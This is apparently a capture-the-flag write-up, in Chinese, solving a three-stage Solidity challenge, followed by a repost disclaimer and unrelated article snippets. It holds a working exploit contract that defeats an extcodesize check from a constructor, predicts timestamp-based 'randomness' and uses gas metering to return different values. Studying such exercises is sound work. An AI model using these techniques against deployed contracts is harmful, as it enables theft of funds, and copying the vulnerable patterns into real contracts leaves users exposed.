合约中总共有3

第一关,size0即可绕过

第二关,猜数,直接套他源码就行

uint number = block.timestamp % 100 + 1;

第三关的话,他需要检查地址

pragma solidity ^0.8.4;

​

interface IReceiver {

  function getNumber() external view returns(uint256);

}

contract stageGame{

  mapping (address => bool) private flag;

  mapping (address => bool) public isStage1Completed;

​

  function stage1() external {

      uint size;

      address addr = msg.sender;

      assembly { size := extcodesize(addr) }

      require(size == 0,"EOA must!");

      isStage1Completed[msg.sender] = true;

  }

​

  function stage2(uint _guess) external {

      require(isStage1Completed[msg.sender],"You should complete stage1 first!");

      uint number = block.timestamp % 100 + 1;

      require(number == _guess, "Wrong number!");

      _stage3();

  }

​

  function _stage3() private {

      uint size;

      address addr = msg.sender;

      assembly { size := extcodesize(addr) }

      require(size > 0,"Contract must!");

      uint256 number1;

      uint256 number2;

      (bool success,bytes memory data1) = addr.staticcall(abi.encodeWithSignature("getNumber()"));

      require(success,"First call failed!");

      number1 = abi.decode(data1, (uint256));

​

      (bool success2,bytes memory data2) = addr.call(abi.encodeWithSignature("getNumber()"));

      require(success2,"Second call failed!");

      number2 = abi.decode(data2, (uint256));

      require(number1 != number2, "Must return different Number!");

​

      flag[tx.origin] = true;

  }

​

​

  function check(address addr) external view returns(bool){

      return flag[addr];

  }

​

}

​

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

​

// 假设stageGame合约的接口如下

interface IStageGame {

  function stage1() external;

  function stage2(uint256 number) external;

  function check(address addr) external returns (bool);

}

​

contract Exp {

  IStageGame public stageGame;

​

  constructor(address _address) {

      stageGame = IStageGame(_address);

      stageGame.stage1();      

  }

​

  // 尝试获取gas消耗量,如果消耗超过2000则返回0,否则返回1

  function getNumber() external view returns (uint256) {

      uint256 gbef = 0;

      uint256 gaft = 0;

      assembly {

          gbef := gas()

          let x := sload(0x66666)

          gaft := gas()

      }

      uint256 gasc = gbef - gaft;

      if (gasc > 2000) {

          return uint256(0);

      }

      return uint256(1);

  }

​

  // 尝试执行hack操作,成功则返回true,否则返回false

  function hack(address addr) public returns (bool) {

      bool flag = false;

      uint256 number = block.timestamp % 100 + 1;

      stageGame.stage2(number);

      flag = stageGame.check(addr);

      return flag;

  }

}

之后就打通了,可以在账户详情查看私钥

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/197752.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Kubernetes基础(九)-标签管理

1 概述 Label&#xff08;标签&#xff09;是Kubernetes系统中一个比较重要的概念&#xff0c;给某个资源对象&#xff08;Node、Pod、Service等&#xff09;定义一个Label&#xff0c;就相当于给它打了一个标签&#xff0c;然后可以通过Label Selector&#xff08;标签选择器…

【C++】类型转换 ⑤ ( 常量和非常量之间的类型转换 - 常量类型转换 const_cast | const 左数右指原则 | 代码示例 )

文章目录 一、const 关键字简介1、const 修饰普通数据2、const 修饰指针 ( 左数右指原则 | 指针常量 | 常量指针 ) 二、常量和非常量 之间的类型转换 - 常量类型转换 const_cast1、常量类型转换 const_cast2、常量不能直接修改3、修改常量值的方法4、特别注意 - 确保指针指向的…

vs2019 - MFC对话框程序的工程名称不支持下划线命名法

文章目录 vs2019 - MFC对话框程序的工程名称不支持下划线命名法概述笔记备注END vs2019 - MFC对话框程序的工程名称不支持下划线命名法 概述 正在写账单分析程序, 用MFC 对话框. 因为比较习惯下划线命名法, 就在向导中给工程名称起了一个my_test这样的名称(下划线命名法, 小…

SpringBoot自动配置注入Bean工具autoconfigure

依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-autoconfigure</artifactId></dependency> yml配置 student:red: com.ma.config.MinIOConfigProperties spring.factories org.springframework.…

LeetCode Hot100 42.接雨水

题目&#xff1a; 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 方法一&#xff08;相向双指针&#xff09;&#xff1a;竖着计算面积 代码&#xff1a; class Solution {public int trap(int[] he…

Taro3+Vue3重构Mpvue小程序项目踩坑记

1、Taro小程序编译时报错&#xff1b; 原因:页面中存在小程序识别不了的标签&#xff1b;如div解决方法&#xff1a; 将div标签替换成小程序可识别的标签&#xff1b; 安装Taro中提供的插件:tarojs/plugin-html, 使其可被识别&#xff1b; 插件安装教程参考Taro官网&#xff1…

Flink Flink中的合流

一、Flink中的基本合流操作 在实际应用中&#xff0c;我们经常会遇到来源不同的多条流&#xff0c;需要将它们的数据进行联合处理。所以 Flink 中合流的操作会更加普遍&#xff0c;对应的 API 也更加丰富。 二、联合&#xff08;Union&#xff09; 最简单的合流操作&#xf…

「我在淘天做技术」迈步从头越 - 阿里妈妈广告智能决策技术的演进之路

作者&#xff1a;妙临、霁光、玺羽 一、前言 在线广告对于大多数同学来说是一个既熟悉又陌生的技术领域。「搜广推」、「搜推广」等各种组合耳熟能详&#xff0c;但广告和搜索推荐有本质区别&#xff1a;广告解决的是“媒体-广告平台-广告主”等多方优化问题&#xff0c;其中媒…

手机便签app哪个比较好用?

手机便签类软件的种类是比较多的&#xff0c;不管是安卓手机品牌还是苹果手机品牌的手机&#xff0c;在手机的应用商店中搜索“便签”&#xff0c;大家会找到很多便签类软件。那么&#xff0c;手机便签APP哪个比较好用呢&#xff1f; 在选择手机便签APP时&#xff0c;大家比较…

详解原生Spring中的控制反转和依赖注入-构造注入和Set注入

&#x1f609;&#x1f609; 学习交流群&#xff1a; ✅✅1&#xff1a;这是孙哥suns给大家的福利&#xff01; ✨✨2&#xff1a;我们免费分享Netty、Dubbo、k8s、Mybatis、Spring...应用和源码级别的视频资料 &#x1f96d;&#x1f96d;3&#xff1a;QQ群&#xff1a;583783…

Java变量理解

成员变量VS局部变量的区别 语法形式&#xff1a;从语法形式上看&#xff0c;成员变量是属于类的&#xff0c;而局部变量是在代码块或方法中定义的变量或是方法的参数&#xff1b;成员变量可以被 public,private,static 等修饰符所修饰&#xff0c;而局部变量不能被访问控制修饰…

如何高效批量生成条形码?

条形码作为商品、库存和信息管理的基础工具&#xff0c;扮演着至关重要的角色。为了满足用户对于高效、专业、多样化的条形码生成需求&#xff0c;我们推出了一款专业高效的在线条形码生成工具。 网址&#xff1a;https://www.1txm.com/ 多样化条形码支持 易条形支持多种常见…

【算法萌新闯力扣】:旋转链表

力扣题目&#xff1a;旋转链表 开篇 今天是备战蓝桥杯的第25天和算法村开营第3天&#xff01;经过这3天的学习&#xff0c;感觉自己对链表的掌握程度大大地提升&#xff0c;尤其是在帮村里的同学讨论相关问题时。本篇文章&#xff0c;给大家带来一道旋转链表的题目&#xff0c…

leetcode:用队列实现栈(后进先出)

题目描述 题目链接&#xff1a;225. 用队列实现栈 - 力扣&#xff08;LeetCode&#xff09; 题目分析 我们先把之前写的队列实现代码搬过来 用队列实现栈最主要的是实现栈后进先出的特点&#xff0c;而队列的特点是先进先出&#xff0c;那么我们可以用两个队列来实现 一个队…

PTA-6-48 使用面向对象的思想编写程序描述动物

题目&#xff1a; 使用面向对象的思想编写程序描述动物&#xff0c;说明&#xff1a; &#xff08;1) 分析兔子和青蛙的共性&#xff0c;定义抽象的动物类&#xff0c;拥有一些动物共有的属性&#xff1a;名字、颜色、类别&#xff08;哺乳类、非哺乳类&#xff09;&#xff0c…

Redis 事件轮询

1 Redis 为什么快 数据存在内存中, 直接操作内存中的数据单线程处理业务请求避免了多线的上下文切换, 锁竞争等弊端使用 IO 多路复用支撑更高的网络请求使用事件驱动模型, 通过事件通知模式, 减少不必要的等待… 这些都是 Redis 快的原因。 但是这些到了代码层面是如何实现的呢…

出纳常用的月报表,熬夜做了这8份直接用!

做出纳&#xff0c;公司财务的日报表是必不可少的&#xff0c;收支了多少&#xff0c;支出了多少&#xff0c;这些都是要记录下来的&#xff01; 一份出纳日报表通常包含以下内容&#xff1a; 1. 日期&#xff1a;报告涵盖的具体日期&#xff0c;标明是哪一天的财务数据。 2. 收…

【论文阅读】An Experimental Survey of Missing Data Imputation Algorithms

论文地址&#xff1a;An Experimental Survey of Missing Data Imputation Algorithms | IEEE Journals & Magazine | IEEE Xplore 处理缺失数据最简单的方法就是是丢弃缺失值的样本&#xff0c;但这会使得数据更加不完整并且导致偏差或影响结果的代表性。因此&#xff0c;…

bash编程 数组和for循环的应用

bash编程 数组和for循环的应用 1、问题背景2、bash 定义数组3、for循环遍历输出数组所有元素4、编写bash脚本输出每个端口是否在监听状态 1、问题背景 linux服务器开机后&#xff0c;需要检查一组端口是否在监听&#xff0c;以便判断这些端口对应的服务是否在运行。可以考虑使…

别再让假的fiddler教程毒害你了,来看这套最全最新的fiddler全工具讲解

fiddler界面工具栏介绍 添加图片注释&#xff0c;不超过 140 字&#xff08;可选&#xff09; &#xff08;1&#xff09;WinConfig&#xff1a;windows 使用了一种叫做“AppContainer”的隔离技术&#xff0c;使得一些流量无法正常捕获&#xff0c;在 fiddler中点击 WinConfig…